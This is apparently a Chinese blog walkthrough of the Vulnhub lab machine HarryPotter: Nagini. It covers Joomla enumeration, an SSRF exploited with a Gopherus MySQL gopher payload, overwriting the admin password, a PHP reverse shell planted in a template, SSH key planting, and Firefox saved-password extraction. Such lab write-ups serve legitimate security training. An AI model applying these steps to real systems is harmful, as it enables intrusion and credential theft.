• Vulnhub系列靶机---HarryPotter-Nagini-哈利波特系列靶机-2


    靶机文档:HarryPotter: Nagini

    下载地址:Download (Mirror)
    难易程度:

    image-20230910114323063

    信息收集

    主机发现

    在这里插入图片描述

    端口扫描

    image-20230910114911394
    访问80端口
    在这里插入图片描述

    gobuster目录扫描
    gobuster dir -u http://192.168.80.144 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
    
    • 1

    image-20230910115418176

    dirsearch扫描
    dirsearch -u 192.168.80.144
    
    • 1

    在这里插入图片描述

    /joomla

    image-20230910115942417

    /note.txt

    image-20230910120320170

    需要我们用http3来访问https://quic.nagini.hogwarts

    /joomla/administrator后台

    image-20230910121152328

    joomscan扫描

    Joomla是一款知名的PHP语言编写的CMS系统。很多网站都使用Joomla!搭建而成。Kali Linux集成了一款Joomla!网站扫描工具joomscan。该工具不仅可以对网站所使用的Joomla!版本、防火墙进行探测,还可以探测已知的漏洞,并生成文本或网页形式的报告

    使用这个扫描器之前需要先apt-get install joomscan下载安装

     joomscan --url http://192.168.80.144/joomla
    
    • 1

    在这里插入图片描述

    image-20230910123039308

    /joomla/administrator这个路径上面已经看过了,就是个后台管理页面,不知道用户名,也不知道密码

    看看这个configuration.php.bak里面内容把

     wget  http://192.168.80.144/joomla/configuration.php.bak
    
    • 1

    在这里插入图片描述

     cat configuration.php.bak
    
    • 1

    发现了数据库的信息,用户名:goblin,没有密码

    在这里插入图片描述

    实现http3访问

    项目地址:https://github.com/cloudflare/quiche

    sduo apt install cargo             #安装cargo组件
    sudo apt install cmake             #安装cmake组件
    sudo apt purge rustc               #卸载系统自带的rustc
    curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh   #重新安装最新版本的rustc
    
    • 1
    • 2
    • 3
    • 4

    kali安装rust开发环境

    image-20230910131409540

    image-20230910131504927

    image-20230910132016643

    source $HOME/.cargo/env       #执行环境变量
    
    • 1

    image-20230910132054242

    rustup --version
    rustc --version
    cargo --version
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    sudo apt-get install git           #安装git
    
    git clone https://github.com/cloudflare/quiche.git   #下载quiche
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    cargo build --examples        #运行cargo默认实例的文件
    cargo test                    #检查前面所有安装命令
    cd  /quiche/target/debug/examples
    ./http3-client https://192.168.56.144     #利用http3的客户端去访问目标靶机
    
    • 1
    • 2
    • 3
    • 4

    实在弄不出来,耽误时间!一直报错


    最后用http3-client访问https://quic.nagini.hogwarts这个地址得到有用信息:/internalResourceFeTcher.php

    访问后发现是一个搜索框的样子

    image-20230910135201871

    在这里插入图片描述

    输入地址 后,页面发生了跳转,说明存在SSRF漏洞

    image-20230910135335857

    image-20230910135526412


    漏洞利用

    Gopherus工具

    使用Gopherus工具工具生成payload:

    python2 gopherus.py --exploit mysql
    goblin  #输入数据库名
    show databases;  #查询数据库 
    
    • 1
    • 2
    • 3

    image-20230910135726948

    得到gopher连接,直接放到浏览器?url=后面,我的会报错,所以我给他进行在二次编码,编码之后刚开始放在?url=后面可能内反应,多刷新几次页面,就能看到 结果了

    image-20230910140235652

    得到数据库名joomla

    image-20230910140129133

    重复上面的操作,获取表名

    在这里插入图片描述

    image-20230910140553807

    获取数据

    image-20230910140701358

    image-20230910141129255

    用户名:site_admin
    加密后的密文:<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay 
    
    • 1
    • 2

    密文解不出来,尝试生成 一个密文,修改数据库里的数据

     echo -n "JayChou" | md5sum
    
    • 1

    image-20230910141310895

    5cfe4dfc7664b61eff2325db0caabd27

    使用工具修改site_admin用户的密码

    在这里插入图片描述

    image-20230910141809144

    密码修改成功!,可以使用site_admin:JayChou登陆管理员后台

    image-20230910142515147

    GetShell

    对于这类的框架,有个常用的方法就是利用他们的主题,对主题中的文件进行修改,然后访问主题文件,本地监听,即可反弹shell

    image-20230910142717728

    image-20230910142920615

    image-20230910142940766

    使用kali自带的php-reverse-shell.php

    位置在:/usr/share/webshells/php/php-reverse-shell.php

    修改Protostar里的index.php,将php-reverse-shell.php内容复制到index.php里面,然后Save保存

    image-20230910143737042

    kali监听1234端口

    浏览器访问http://192.168.80.144/joomla/templates/protostar/index.php,触发反弹shell

    image-20230910144112782

    成功拿到shell,但不是交互的shell

    提权
    python3 -c "import pty;pty.spawn('/bin/bash')"
    
    • 1

    在网站根目录下发现第一个魂器flag

    image-20230910144830131

    使用base64解码后,翻译

    在这里插入图片描述

    来到/home目录下,有两个用户,在hermoine目录下发现第二个魂器flag,但是没有权限查看

    在这里插入图片描述

    image-20230910145319650

    在 看看snape用户家里有啥东西

    image-20230910145411715

    解码后得到

    echo "TG92ZUBsaWxseQ==" | base64 --decode
    
    • 1

    image-20230910145558492

    切换到snape用户

    image-20230910145857820

    查看 有什么能用的

    image-20230910150114006

    image-20230910150102712

    看到在hermoine用户下存在一个su_cp文件,我们cd到该目录下看看

    image-20230910153702319

    使用ssh-keygen生成公钥

    image-20230910155918217

    image-20230910154211947

    将生成的公钥上传到斯内普下

    在这里插入图片描述

    来到snape家目录下

    id_rsa.pub 重命名为 authorized_keys

    mv id_rsa.pub authorized_keys
    
    • 1

    并且赋予执行权限

    image-20230910155104619

    使用kali机器连接hermoine用户的时候还是让输入 密码,由于在于**ahthorized_keys文件权限不得高于700**

    问题解决来源:https://blog.csdn.net/qq_39320261/article/details/128342057

    然后重新给authorized_keys赋权限

    image-20230910160815066

    现在可以免密登录赫敏了

    在这里插入图片描述

    切换到家目录下 ,查看第二个魂器flag

    image-20230910160928830

    解码

    image-20230910161330669

    image-20230910161406914在他的家目录下发现有一个.mozilla目录

    .mozilla这个目录是Linux在使用火狐浏览器的时候,生成的,里面存在一些配置信息,更甚至有密码

    firefox_decrypt工具

    发现了.mozilla目录里面有个firefox 使用工具:firefox_decrypt

    image-20230910161704895

    先将.mozilla目录复制到攻击机kali里面

    scp -r .mozilla/  kali@192.168.80.141:/home/kali/tmp
    
    • 1

    image-20230910162451895

    工具下载

    git  clone https://github.com/unode/firefox_decrypt.git
    
    • 1

    image-20230910162106452

    工具使用

    python firefox_decrypt.py ../../tmp/.mozilla/firefox
    
    • 1

    image-20230910162714704

    root:@Alohomora#123

    image-20230910162938937

    总结

    • 实现http3的访问 【弄不出来】

    • SSRF工具利用,以及md5sum生成md5加密值

    • base64 --decode 的使用

    • SSH公钥写入以及scp命令

    • firefox_decrypt工具

  • 相关阅读:
    git总结
    23种设计模式(简单介绍)
    从useEffect看React、Vue设计理念的不同
    L1-095 分寝室(PTA)
    完美!字节3-1级别大佬把《数据结构与算法》讲透了,带源码笔记
    如何在React项目中使用TypeScript
    自从用了这个接口测试工具,我的Postman再也没打开过
    $\Beta$分布推导与可视化
    艾美捷ProSci丨ProSci 凋亡抑制蛋白检测套装解决方案
    黑马头条知识点总结
  • 原文地址:https://blog.csdn.net/ZhaoSong_/article/details/132792999